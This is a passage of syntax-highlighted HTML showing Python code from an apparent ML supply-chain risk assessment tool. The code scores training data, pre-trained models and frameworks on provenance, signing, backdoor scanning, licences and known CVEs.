</span>                <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities_found</span><span class="sh">'</span><span class="p">].</span><span class="nf">extend</span><span class="p">(</span>
                    <span class="n">risk_assessment</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])</span>
                <span class="p">)</span>
        
        <span class="c1"># Calculate overall risk score
</span>        <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">overall_risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span>
            <span class="n">total_risk_score</span> <span class="o">/</span> <span class="n">component_count</span> <span class="k">if</span> <span class="n">component_count</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="k">else</span> <span class="mi">0</span>
        <span class="p">)</span>
        
        <span class="c1"># Generate recommendations
</span>        <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_generate_risk_recommendations</span><span class="p">(</span>
            <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">component_risks</span><span class="sh">'</span><span class="p">]</span>
        <span class="p">)</span>
        
        <span class="c1"># Check compliance status
</span>        <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">compliance_status</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_check_compliance_status</span><span class="p">(</span>
            <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">component_risks</span><span class="sh">'</span><span class="p">]</span>
        <span class="p">)</span>
        
        <span class="k">return</span> <span class="n">assessment_results</span>
    
    <span class="k">def</span> <span class="nf">_assess_component_risk</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">component_type</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">component_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess risk for individual supply chain component</span><span class="sh">"""</span>
        
        <span class="n">risk_assessment</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">component_type</span><span class="sh">'</span><span class="p">:</span> <span class="n">component_type</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">trust_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">100</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">integrity_verified</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">last_updated</span><span class="sh">'</span><span class="p">:</span> <span class="bp">None</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">source_verification</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="k">if</span> <span class="n">component_type</span> <span class="o">==</span> <span class="sh">'</span><span class="s">training_data</span><span class="sh">'</span><span class="p">:</span>
            <span class="n">risk_assessment</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">_assess_training_data_risk</span><span class="p">(</span><span class="n">component_config</span><span class="p">))</span>
            
        <span class="k">elif</span> <span class="n">component_type</span> <span class="o">==</span> <span class="sh">'</span><span class="s">pre_trained_models</span><span class="sh">'</span><span class="p">:</span>
            <span class="n">risk_assessment</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">_assess_pretrained_model_risk</span><span class="p">(</span><span class="n">component_config</span><span class="p">))</span>
            
        <span class="k">elif</span> <span class="n">component_type</span> <span class="o">==</span> <span class="sh">'</span><span class="s">ml_frameworks</span><span class="sh">'</span><span class="p">:</span>
            <span class="n">risk_assessment</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">_assess_framework_risk</span><span class="p">(</span><span class="n">component_config</span><span class="p">))</span>
            
        <span class="k">elif</span> <span class="n">component_type</span> <span class="o">==</span> <span class="sh">'</span><span class="s">container_images</span><span class="sh">'</span><span class="p">:</span>
            <span class="n">risk_assessment</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">_assess_container_risk</span><span class="p">(</span><span class="n">component_config</span><span class="p">))</span>
            
        <span class="k">elif</span> <span class="n">component_type</span> <span class="o">==</span> <span class="sh">'</span><span class="s">third_party_services</span><span class="sh">'</span><span class="p">:</span>
            <span class="n">risk_assessment</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">_assess_third_party_service_risk</span><span class="p">(</span><span class="n">component_config</span><span class="p">))</span>
        
        <span class="k">return</span> <span class="n">risk_assessment</span>
    
    <span class="k">def</span> <span class="nf">_assess_training_data_risk</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">data_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess risks specific to training data sources</span><span class="sh">"""</span>
        
        <span class="n">risk_factors</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">data_integrity_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">100</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">source_trust_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">100</span>
        <span class="p">}</span>
        
        <span class="n">data_sources</span> <span class="o">=</span> <span class="n">data_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">sources</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])</span>
        
        <span class="k">for</span> <span class="n">source</span> <span class="ow">in</span> <span class="n">data_sources</span><span class="p">:</span>
            <span class="c1"># Check data source reputation
</span>            <span class="n">source_url</span> <span class="o">=</span> <span class="n">source</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">url</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            <span class="n">source_risk</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_evaluate_data_source_reputation</span><span class="p">(</span><span class="n">source_url</span><span class="p">)</span>
            
            <span class="k">if</span> <span class="n">source_risk</span> <span class="o">&gt;</span> <span class="mi">50</span><span class="p">:</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">untrusted_data_source</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Data source </span><span class="si">{</span><span class="n">source_url</span><span class="si">}</span><span class="s"> has poor reputation</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">source</span><span class="sh">'</span><span class="p">:</span> <span class="n">source_url</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">20</span>
            
            <span class="c1"># Check for data integrity verification
</span>            <span class="k">if</span> <span class="ow">not</span> <span class="n">source</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">integrity_verified</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">unverified_data_integrity</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Data integrity not verified for </span><span class="si">{</span><span class="n">source_url</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">source</span><span class="sh">'</span><span class="p">:</span> <span class="n">source_url</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">15</span>
            
            <span class="c1"># Check for data provenance tracking
</span>            <span class="k">if</span> <span class="ow">not</span> <span class="n">source</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">provenance_tracked</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">missing_data_provenance</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Data provenance not tracked for </span><span class="si">{</span><span class="n">source_url</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">source</span><span class="sh">'</span><span class="p">:</span> <span class="n">source_url</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">10</span>
            
            <span class="c1"># Check for anomaly detection in data
</span>            <span class="k">if</span> <span class="ow">not</span> <span class="n">source</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">anomaly_detection_enabled</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">no_anomaly_detection</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">No anomaly detection for </span><span class="si">{</span><span class="n">source_url</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">source</span><span class="sh">'</span><span class="p">:</span> <span class="n">source_url</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">10</span>
        
        <span class="c1"># Assess data diversity and bias risks
</span>        <span class="n">diversity_score</span> <span class="o">=</span> <span class="n">data_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">diversity_score</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">diversity_score</span> <span class="o">&lt;</span> <span class="mi">70</span><span class="p">:</span>
            <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">low_data_diversity</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Low data diversity score: </span><span class="si">{</span><span class="n">diversity_score</span><span class="si">}</span><span class="s">/100</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Potential bias and poor generalization</span><span class="sh">'</span>
            <span class="p">})</span>
            <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">15</span>
        
        <span class="k">return</span> <span class="n">risk_factors</span>
    
    <span class="k">def</span> <span class="nf">_assess_pretrained_model_risk</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">model_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess risks specific to pre-trained models</span><span class="sh">"""</span>
        
        <span class="n">risk_factors</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">model_integrity_verified</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">source_verification</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="n">models</span> <span class="o">=</span> <span class="n">model_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">models</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])</span>
        
        <span class="k">for</span> <span class="n">model</span> <span class="ow">in</span> <span class="n">models</span><span class="p">:</span>
            <span class="n">model_source</span> <span class="o">=</span> <span class="n">model</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">source</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            <span class="n">model_name</span> <span class="o">=</span> <span class="n">model</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            
            <span class="c1"># Check model source reputation
</span>            <span class="n">source_risk</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_evaluate_model_source_reputation</span><span class="p">(</span><span class="n">model_source</span><span class="p">)</span>
            
            <span class="k">if</span> <span class="n">source_risk</span> <span class="o">&gt;</span> <span class="mi">60</span><span class="p">:</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">untrusted_model_source</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Model </span><span class="si">{</span><span class="n">model_name</span><span class="si">}</span><span class="s"> from untrusted source </span><span class="si">{</span><span class="n">model_source</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">model</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_name</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">25</span>
            
            <span class="c1"># Check for model signing and verification
</span>            <span class="k">if</span> <span class="ow">not</span> <span class="n">model</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">digitally_signed</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">unsigned_model</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Model </span><span class="si">{</span><span class="n">model_name</span><span class="si">}</span><span class="s"> is not digitally signed</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">model</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_name</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">20</span>
            
            <span class="c1"># Check for backdoor detection
</span>            <span class="k">if</span> <span class="ow">not</span> <span class="n">model</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">backdoor_scanned</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">no_backdoor_scanning</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Model </span><span class="si">{</span><span class="n">model_name</span><span class="si">}</span><span class="s"> not scanned for backdoors</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">model</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_name</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">20</span>
            
            <span class="c1"># Check model age and update frequency
</span>            <span class="n">last_update</span> <span class="o">=</span> <span class="n">model</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">last_updated</span><span class="sh">'</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">last_update</span><span class="p">:</span>
                <span class="n">days_since_update</span> <span class="o">=</span> <span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">()</span> <span class="o">-</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">fromisoformat</span><span class="p">(</span><span class="n">last_update</span><span class="p">)).</span><span class="n">days</span>
                <span class="k">if</span> <span class="n">days_since_update</span> <span class="o">&gt;</span> <span class="mi">180</span><span class="p">:</span>  <span class="c1"># 6 months
</span>                    <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                        <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">outdated_model</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Model </span><span class="si">{</span><span class="n">model_name</span><span class="si">}</span><span class="s"> not updated in </span><span class="si">{</span><span class="n">days_since_update</span><span class="si">}</span><span class="s"> days</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">model</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_name</span>
                    <span class="p">})</span>
                    <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">10</span>
            
            <span class="c1"># Check for license compliance
</span>            <span class="n">license_type</span> <span class="o">=</span> <span class="n">model</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">license</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">license_type</span> <span class="ow">or</span> <span class="n">license_type</span> <span class="o">==</span> <span class="sh">'</span><span class="s">unknown</span><span class="sh">'</span><span class="p">:</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">unknown_license</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Model </span><span class="si">{</span><span class="n">model_name</span><span class="si">}</span><span class="s"> has unknown or missing license</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">model</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_name</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">10</span>
        
        <span class="k">return</span> <span class="n">risk_factors</span>
    
    <span class="k">def</span> <span class="nf">_assess_framework_risk</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">framework_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess risks specific to ML frameworks</span><span class="sh">"""</span>
        
        <span class="n">risk_factors</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">cve_vulnerabilities</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">version_compliance</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="n">frameworks</span> <span class="o">=</span> <span class="n">framework_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">frameworks</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])</span>
        
        <span class="k">for</span> <span class="n">framework</span> <span class="ow">in</span> <span class="n">frameworks</span><span class="p">:</span>
            <span class="n">framework_name</span> <span class="o">=</span> <span class="n">framework</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            <span class="n">framework_version</span> <span class="o">=</span> <span class="n">framework</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            
            <span class="c1"># Check for known CVEs
</span>            <span class="n">cve_vulnerabilities</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_check_framework_cves</span><span class="p">(</span><span class="n">framework_name</span><span class="p">,</span> <span class="n">framework_version</span><span class="p">)</span>
            
            <span class="k">if</span> <span class="n">cve_vulnerabilities</span><span class="p">:</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">cve_vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">extend</span><span class="p">(</span><span class="n">cve_vulnerabilities</span><span class="p">)</span>
                
                <span class="c1"># Calculate risk based on CVE severity
</span>                <span class="k">for</span> <span class="n">cve</span> <span class="ow">in</span> <span class="n">cve_vulnerabilities</span><span class="p">:</span>
                    <span class="k">if</span> <span class="n">cve</span><span class="p">[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="p">:</span>
                        <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">30</span>
                    <span class="k">elif</span> <span class="n">cve</span><span class="p">[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">:</span>
                        <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">20</span>
                    <span class="k">elif</span> <span class="n">cve</span><span class="p">[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">:</span>
                        <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">10</span>
                    <span class="k">else</span><span class="p">:</span>
                        <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">5</span>
                
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">framework_cve</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">framework_name</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">framework_version</span><span class="si">}</span><span class="s"> has </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">cve_vulnerabilities</span><span class="p">)</span><span class="si">}</span><span class="s"> known CVEs</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">framework</span><span class="sh">'</span><span class="p">:</span> <span class="n">framework_name</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">cve_count</span><span class="sh">'</span><span class="p">:</span> <span class="nf">len</span><span class="p">(</span><span class="n">cve_vulnerabilities</span><span class="p">)</span>
                <span class="p">})</span>
            
            <span class="c1"># Check version currency
</span>            <span class="n">latest_version</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_get_latest_framework_version</span><span class="p">(</span><span class="n">framework_name</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">latest_version</span> <span class="ow">and</span> <span class="n">framework_version</span> <span class="o">!=</span> <span class="n">latest_version</span><span class="p">:</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">outdated_framework</span><span class="sh">'</span><span class="p">,</span>
